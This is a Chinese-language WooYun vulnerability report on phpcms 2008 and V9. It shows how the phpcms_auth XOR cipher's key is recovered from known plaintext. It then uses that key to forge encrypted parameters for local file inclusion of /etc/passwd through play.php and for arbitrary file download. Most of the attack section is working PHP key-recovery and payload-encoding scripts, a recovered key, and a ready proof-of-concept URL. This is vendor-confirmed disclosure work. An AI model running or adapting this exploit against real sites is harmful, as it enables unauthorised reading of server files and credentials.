当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2011-01795

漏洞标题:phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞

相关厂商:盛大网络

漏洞作者: c4rp3nt3r

提交时间:2011-04-02 13:29

修复时间:2011-05-02 21:00

公开时间:2011-05-02 21:00

漏洞类型:文件包含

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-04-02: 细节已通知厂商并且等待厂商处理中
2011-04-06: 厂商已经确认,细节仅向厂商公开
2011-04-16: 细节向核心白帽子及相关领域专家公开
2011-04-26: 细节向普通白帽子公开
2011-05-06: 细节向实习白帽子公开
2011-05-02: 细节向公众公开

简要描述:

phpcms_auth函数是phpcms里面为了增强程序的安全性的一个加密函数,用它来对用户提交的加密字符串进行解密,进入程序流程,如果我们可以控制了phpcms_auth函数的解密,我们就可以通过注射我们的恶意代码,进行攻击。

详细说明:

phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞
by c4rp3nt3r@0x50sec.org
mail: c4rp3nt3r#gmail.com
HomePage:http://www.0x50sec.org
phpcms_auth函数是phpcms里面为了增强程序的安全性的一个加密函数,在play.php、down.php 、download.php等等文件用它来对用户提交的加密字符串进行解密,进入程序流程,如果我们可以控制了phpcms_auth函数的解密,我们就可以通过注射我们的恶意代码,进行攻击。
而phpcms_auth采用的是可逆的位异或算法,并且对加密的结果进行了base64编码。
对于位异或算法来说只要我们破解了密钥字符串$key我们就完全控制了这个函数的加密解密。
对于base64编码主要是处理某些加密后的不可见字符,但是这给了我们一个很好的机会:
就是说我们破解了$key之后,我们就可以不受magic_quotes_pgc的限制引入%00字符串进行阶段,或者引入引号发起其他攻击。
到此已经违背了这个程序设计的初衷,破解了这个函数之后,一方面反而更加不安全了,另一方面所有建立在这个函数之上的机制可能都会受到攻击。

// include/global.func.php
function phpcms_auth($txt, $operation = 'ENCODE', $key = '')
{
$key = $key ? $key : $GLOBALS['phpcms_auth_key'];
$txt = $operation == 'ENCODE' ? $txt : base64_decode($txt);
$len = strlen($key);
$code = '';

for($i=0; $i<strlen($txt); $i++){
$k = $i % $len; //循环使用密钥字符串对字符串逐位进行异或
$code .= $txt[$i] ^ $key[$k];
}
$code = $operation == 'DECODE' ? $code : base64_encode($code);
return $code;
}


对于$key的破解
对于位运算的异或运算,是可逆的,明文和密钥异或得到密文。如果我们知道密文并且知道一部分明文那么我们也就可以得到密钥,有了密钥我们就可以破解另一部分密文,当然也就可以对我们自己的明文进行加密,然后用我们精心构造的密文发起攻击了。
不幸的是phpcms的确给了我们可用来破解密钥的明文。

// include/fields/downfile/output.inc.php
function downfile($field, $value)
{
$contentid = $this->contentid;
$mode = $this->fields[$field]['mode'];
$result = '';
if($mode)
{
$servers = $this->fields[$field]['servers'];
$downloadtype = $this->fields[$field]['downloadtype'];
$servers = explode("\n",$servers);
foreach($servers AS $k=>$server)
{
$server = explode("|",$server);
$serverurl = $server[1];
$a_k = urlencode(phpcms_auth("i=$contentid&s=$serverurl&m=1&f=$value&d=$downloadtype", 'ENCODE', AUTH_KEY));
$result .= "<a href='down.php?a_k=$a_k' target='_blank'>$server[0]</a>";
}
}
else
{
$a_k = urlencode(phpcms_auth("i=$contentid&m=0&f=$value", 'ENCODE', AUTH_KEY));
$result = "<a href='down.php?a_k=$a_k' target='_blank'>点击下载</a>";
}
return $result;
}


这个文件是用来生成静态html文件的,默认安装的phpcms某个软件的下载页面地址为:
http://127.0.0.1/n/phpcms/2011/0331/2.html
进入下载文件的下载地址为:
http://127.0.0.1/n/phpcms/down.php?a_k=GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D
对加密字符串解密后为
密文:GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D
明文:i=2&s=&m=0&f=uploadfile/2011/0331/20110331121233766.zip&d=1
这里2.html的2就是数据库里id的值,如果没有设置镜像站点的话$serverurl为空
也就是说"i=2&s=&m=1&f="是不会变的,我们可以破解12位的密钥了。
默认的话密钥有20位,如果用户上传目录没修改的话我们知道的明文就有"i=2&s=&m=0&f=uploadfile"共23个字符,可以得到全部密钥了。

<?
$key="i=2&s=&m=0&f=uploadfile";
$txt='GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D';
$txt=base64_decode(urldecode($txt));
$len=strlen($key);
echo $len;
for($i=0;$i<strlen($key);$i++)
{
$code .= $txt[$i] ^ $key[$i];
}
echo $code;
?>


运行结果为:sIpeofogblFVCildZEwesIp
可以看到sIp开始下一个循环加密了,所以密钥就是:sIpeofogblFVCildZEwe
还有一点就是下载的时候我们可以得到文件名:20110331121233766.zip
d的值是下载文件的类型,假设我们不知道也不要紧
就是说明文:20110331121233766.zip&d=是已知的有24位
密文:GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D

<?
$key="20110331121233766.zip&d=";
$txt='GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D';
$txt=base64_decode(urldecode($txt));
$tlen=strlen($txt);
$klen=strlen($key);
for($i=1;$i<strlen($key);$i++)
{
$code .= $txt[$tlen-$i-1] ^ $key[$klen-$i];
}
echo $code."\n";
echo $tlen."\n";
?>


运行结果为:
EZdliCVFlbgofoepIsewEZd
59
来看phpcms_auth源码

/*
...
$len = strlen($key);
...
for($i=0; $i<strlen($txt); $i++){
$k = $i % $len;
$code .= $txt[$i] ^ $key[$k];
}
...
*/


我们可以知道
$key[17]='E';
我们可以得到倒序的密钥字符串:
ewEZdliCVFlbgofoepIs
然后我们把字符串翻转过来终端下执行:
alone@Sh3llc0de:~$ echo 'ewEZdliCVFlbgofoepIs'|rev
sIpeofogblFVCildZEwe
我们的密钥字符串就是:sIpeofogblFVCildZEwe
到此我们已经从一个攻击者的角度破解出了密钥。接下来我们看看由此引发的几个安全问题
-------------------------------------
1.phpcms2008 sp2-sp4 本地文件包含漏洞
这个漏洞跟boblog刚爆出的任意变量覆盖漏洞有些相似,都是任意变量覆盖然后仅跟了一个本地文件包含。这种漏洞也是很好玩的,攻击的方法更灵活。

//play.php
<?php
require dirname(__FILE__).'/include/common.inc.php';
if(!isset($a_k)) showmessage($LANG['illegal_parameters']);
//common.inc.php文件的全局变量机制已经将所有GPC数据导出为变量了
//所以$a_k=$_GET[$a_k];
$a_k = phpcms_auth($a_k, 'DECODE', AUTH_KEY); //这里是关键分析见上文
if(empty($a_k)) showmessage($LANG['illegal_parameters']);
unset($i, $m, $f, $p);
parse_str($a_k); //parse_str处理解密后的$a_k将导致变量覆盖
//通过覆盖下文的$mod 或者$templateid将触发本地文件包含漏洞
//由于我们提交的密文会经过phpcms_auth函数中base64解密的,所以直接无视magic_quotes_gpc的影响而可以NULL字符截断
//但是高版本的PHP修复了%00的攻击缺陷

if(isset($i)) $i = intval($i);
if(!isset($m)) showmessage($LANG['illegal_parameters']);
if(empty($f)) showmessage('地址失效');
if(preg_match('/\.php$/',$f) || strpos($f, ":\\")) showmessage('地址有误');
if(!$i || $m<0) showmessage($LANG['illegal_parameters']);
$allow_readpoint = 1;
// include global.fuc.php
/*
...
$M = $TEMP = array();
if(!isset($mod)) $mod = 'phpcms';
if($mod != 'phpcms')
{
isset($MODULE[$mod]) or exit($LANG['module_not_exists']);
$langfile = defined('IN_ADMIN') ? $mod.'_admin' : $mod;
@include PHPCMS_ROOT.'languages/'.LANG.'/'.$langfile.'.lang.php';
$M = cache_read('module_'.$mod.'.php');
}
...
*/
//此处通过上文的对$mod进行变量覆盖绕过下面的if语句
if($mod == 'phpcms')
{
$contentid = $i;
include 'admin/content.class.php';
$content = new content;
$data = $content->get($contentid);
$readpoint = $data['readpoint'];
$title = $data['title'];
$keys = array_keys($data);
if(in_array('groupids_view',$keys))
{
if($data['groupids_view'])
{
if(!$priv_group->check('contentid', $contentid, 'view', $_groupid)) showmessage('您没有查看权限');
}
if(in_array('readpoint', $keys))
{
$C = cache_read('category_'.$data['catid'].'.php');
if($C['defaultchargepoint'] || !empty($readpoint))
{
$readpoint = $readpoint ? $readpoint : $C['defaultchargepoint'];
$pay = load('pay_api.class.php', 'pay', 'api');
if($C['repeatchargedays'])
{
if($pay->is_exchanged($contentid, $C['repeatchargedays']) === FALSE)
{
$allow_readpoint = 0;
}
}
else
{
session_start();
if($_SESSION['pay_contentid'] != $contentid) $allow_readpoint = 0;
}
}
}
}
}
$player = load('player.class.php');
$result = $player->get($p);
@extract($result);
$videourl = trim($f);
$code = str_replace('{$filepath}',$videourl, $code);
$code = str_replace('{$PHPCMS[siteurl]}', $PHPCMS['siteurl'], $code);
$code = str_replace('{$PHPCMS[sitename]}', $PHPCMS['sitename'], $code);
$templateid = $templateid ? $templateid : 'play';
include template($mod, $templateid);
/*
// include/global.fuc.php
// function template 起到一个连接字符串的作用
function template($module = 'phpcms', $template = 'index', $istag = 0)
{
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
if(TPL_REFRESH && (!file_exists($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html') > @filemtime($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/tag.inc.php') > @filemtime($compiledtplfile)))
{
require_once PHPCMS_ROOT.'include/template.func.php';
template_compile($module, $template, $istag);
}
return $compiledtplfile;
}
*/
?>


接下来生成我们的攻击字符串:
<?php
$key='sIpeofogblFVCildZEwe';
$evil='i=1&m=1&f=fuck&mod=../../../../../../../etc/passwd%00&c4rp3nt3r=0x50sec.org';
//经过parse_str($evil);后c4rp3nt3r变量并没有被创建
//这个地方我也不是很明白为什么可以进行截断
//但事实上真的可以截断
$evil = phpcms_auth($evil, 'ENCODE', $key);
echo $evil."\n";
function phpcms_auth($txt, $operation = 'ENCODE', $key)
{
$txt = $operation == 'ENCODE' ? $txt : base64_decode($txt);
$len = strlen($key);
$code = '';

for($i=0; $i<strlen($txt); $i++){
$k = $i % $len;
$code .= $txt[$i] ^ $key[$k];
}
$code = $operation == 'DECODE' ? $code : base64_encode($code);
return $code;
}
?>
alone@Sh3llc0de:/var/www$ php v.php
GnRBQwJbXkEEUSAjIAJKCTUhSktdZl5LQEhBSExCaXhtRkJKdWtZShY9E0ofBxwUFQhjZnNPD1AoNUQLB3oCWF8eWlcRCSV4LBsL
POC:http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKCTUhSktdZl5LQEhBSExCaXhtRkJKdWtZShY9E0ofBxwUFQhjZnNPD1AoNUQLB3oCWF8eWlcRCSV4LBsL
成功包含了/etc/passwd
2.phpcms2008 sp2-sp4、PHPCMS V9 正式版任意文件下载漏洞
以phpcms2008为例
down.php 和download.php都存在这个漏洞,具体利用跟上面的文件包含差不多就不多罗嗦了,成功利用此漏洞可以下载任意文件,包括.php后缀的文件。
只是download.php的加密方式是:
//download.php
...
$phpcms_auth_key = md5(AUTH_KEY.$_SERVER['HTTP_USER_AGENT']);
$a_k = phpcms_auth($a_k, 'DECODE', $phpcms_auth_key);
...
这样可能主要是为了仿制迅雷等浏览器的下载。但是既然我们知道了AUTH_KEY(见上文分析的密钥$key),$_SERVER['HTTP_USER_AGENT']是由用户提交的,那么$phpcms_auth_key 我们自然也就知道了。
除了上面说的知道部分明文来算$key,还有可能暴力破解$key.
还有就是经过md5加密后也未必就更安全,因为系统生成的$key有20位但是每一位都肯能个是大写或者小写字母,也就是有52种可能,但是经过md5加密后每一位就变成只有16种可能了,大大增加了被暴力破解的可能性。
全文结束
参考和致谢:
80vul.com《高级PHP应用程序漏洞审核技术》
Ryat[puretot] 《bo-blog任意变量覆盖漏洞》

漏洞证明:

POC:http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKCTUhSktdZl5LQEhBSExCaXhtRkJKdWtZShY9E0ofBxwUFQhjZnNPD1AoNUQLB3oCWF8eWlcRCSV4LBsL



修复方案:

版权声明:转载请注明来源 c4rp3nt3r@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2011-04-06 10:05

厂商回复:

谢谢c4rp3nt3r提交漏洞。

最新状态:

暂无